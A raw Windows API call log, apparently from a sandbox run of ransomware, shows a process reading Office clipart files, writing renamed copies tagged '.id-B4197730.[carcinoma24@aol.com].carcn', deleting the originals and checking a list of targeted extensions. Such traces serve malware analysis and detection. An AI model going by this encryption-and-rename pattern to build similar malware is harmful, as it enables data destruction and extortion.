CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.779] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.779] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.780] GetLastError () returned 0x0 [0294.780] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1204, lpOverlapped=0x0) returned 1 [0294.781] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1210, lpOverlapped=0x0) returned 1 [0294.782] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.782] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.783] SetEndOfFile (hFile=0x348) returned 1 [0294.783] CloseHandle (hObject=0x348) returned 1 [0294.783] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.783] SetEndOfFile (hFile=0x370) returned 1 [0294.784] CloseHandle (hObject=0x370) returned 1 [0294.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.785] lstrlenW (lpString=".doc") returned 4 [0294.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".docx") returned 5 [0294.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.785] lstrlenW (lpString=".pdf") returned 4 [0294.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".xls") returned 4 [0294.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.785] lstrlenW (lpString=".xlsx") returned 5 [0294.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.785] lstrlenW (lpString=".ppt") returned 4 [0294.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.785] lstrlenW (lpString=".zip") returned 4 [0294.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.785] lstrlenW (lpString=".rar") returned 4 [0294.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".bz2") returned 4 [0294.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".7z") returned 3 [0294.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString=".dbf") returned 4 [0294.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString=".1cd") returned 4 [0294.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString=".jpg") returned 4 [0294.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString=".doc") returned 4 [0294.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString=".docx") returned 5 [0294.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.786] lstrlenW (lpString=".pdf") returned 4 [0294.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString=".xls") returned 4 [0294.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.786] lstrlenW (lpString=".xlsx") returned 5 [0294.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.786] lstrlenW (lpString=".ppt") returned 4 [0294.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.786] lstrlenW (lpString=".zip") returned 4 [0294.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.786] lstrlenW (lpString=".rar") returned 4 [0294.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.787] lstrlenW (lpString=".bz2") returned 4 [0294.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.787] lstrlenW (lpString=".7z") returned 3 [0294.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.787] lstrlenW (lpString=".dbf") returned 4 [0294.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.787] lstrlenW (lpString=".1cd") returned 4 [0294.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0294.787] lstrlenW (lpString=".jpg") returned 4 [0294.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.787] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.787] lstrlenW (lpString="AN04196_.WMF") returned 12 [0294.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.787] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=3144) returned 1 [0294.788] CloseHandle (hObject=0x370) returned 1 [0294.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0294.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.788] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.788] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.789] GetLastError () returned 0x0 [0294.789] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xc48, lpOverlapped=0x0) returned 1 [0294.790] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xc50, lpOverlapped=0x0) returned 1 [0294.791] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.791] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.792] SetEndOfFile (hFile=0x348) returned 1 [0294.792] CloseHandle (hObject=0x348) returned 1 [0294.792] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.792] SetEndOfFile (hFile=0x370) returned 1 [0294.793] CloseHandle (hObject=0x370) returned 1 [0294.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0294.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.794] lstrlenW (lpString=".doc") returned 4 [0294.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.794] lstrlenW (lpString=".docx") returned 5 [0294.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.794] lstrlenW (lpString=".pdf") returned 4 [0294.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.794] lstrlenW (lpString=".xls") returned 4 [0294.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.794] lstrlenW (lpString=".xlsx") returned 5 [0294.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.794] lstrlenW (lpString=".ppt") returned 4 [0294.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.794] lstrlenW (lpString=".zip") returned 4 [0294.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.794] lstrlenW (lpString=".rar") returned 4 [0294.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.794] lstrlenW (lpString=".bz2") returned 4 [0294.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString=".7z") returned 3 [0294.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString=".dbf") returned 4 [0294.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString=".1cd") returned 4 [0294.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString=".jpg") returned 4 [0294.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString=".doc") returned 4 [0294.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString=".docx") returned 5 [0294.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.795] lstrlenW (lpString=".pdf") returned 4 [0294.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString=".xls") returned 4 [0294.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.795] lstrlenW (lpString=".xlsx") returned 5 [0294.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.795] lstrlenW (lpString=".ppt") returned 4 [0294.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.795] lstrlenW (lpString=".zip") returned 4 [0294.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.796] lstrlenW (lpString=".rar") returned 4 [0294.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.796] lstrlenW (lpString=".bz2") returned 4 [0294.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.796] lstrlenW (lpString=".7z") returned 3 [0294.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.796] lstrlenW (lpString=".dbf") returned 4 [0294.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.796] lstrlenW (lpString=".1cd") returned 4 [0294.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0294.796] lstrlenW (lpString=".jpg") returned 4 [0294.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.796] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.796] lstrlenW (lpString="AN04206_.WMF") returned 12 [0294.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.797] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=7668) returned 1 [0294.797] CloseHandle (hObject=0x370) returned 1 [0294.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0294.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.798] GetLastError () returned 0x0 [0294.798] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1df4, lpOverlapped=0x0) returned 1 [0295.299] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1e00, lpOverlapped=0x0) returned 1 [0295.301] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.301] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.301] SetEndOfFile (hFile=0x348) returned 1 [0295.301] CloseHandle (hObject=0x348) returned 1 [0295.301] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.301] SetEndOfFile (hFile=0x370) returned 1 [0295.302] CloseHandle (hObject=0x370) returned 1 [0295.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0295.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.303] lstrlenW (lpString=".doc") returned 4 [0295.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.303] lstrlenW (lpString=".docx") returned 5 [0295.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.303] lstrlenW (lpString=".pdf") returned 4 [0295.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.303] lstrlenW (lpString=".xls") returned 4 [0295.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.303] lstrlenW (lpString=".xlsx") returned 5 [0295.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.303] lstrlenW (lpString=".ppt") returned 4 [0295.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.303] lstrlenW (lpString=".zip") returned 4 [0295.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.303] lstrlenW (lpString=".rar") returned 4 [0295.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.305] lstrlenW (lpString=".bz2") returned 4 [0295.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.305] lstrlenW (lpString=".7z") returned 3 [0295.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.305] lstrlenW (lpString=".dbf") returned 4 [0295.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.305] lstrlenW (lpString=".1cd") returned 4 [0295.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.305] lstrlenW (lpString=".jpg") returned 4 [0295.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString=".doc") returned 4 [0295.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".docx") returned 5 [0295.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.306] lstrlenW (lpString=".pdf") returned 4 [0295.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".xls") returned 4 [0295.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.306] lstrlenW (lpString=".xlsx") returned 5 [0295.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.306] lstrlenW (lpString=".ppt") returned 4 [0295.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString=".zip") returned 4 [0295.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.306] lstrlenW (lpString=".rar") returned 4 [0295.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".bz2") returned 4 [0295.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".7z") returned 3 [0295.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString=".dbf") returned 4 [0295.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString=".1cd") returned 4 [0295.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0295.306] lstrlenW (lpString=".jpg") returned 4 [0295.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.307] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.307] lstrlenW (lpString="BD00141_.WMF") returned 12 [0295.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.307] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=26886) returned 1 [0295.307] CloseHandle (hObject=0x370) returned 1 [0295.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0295.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.308] 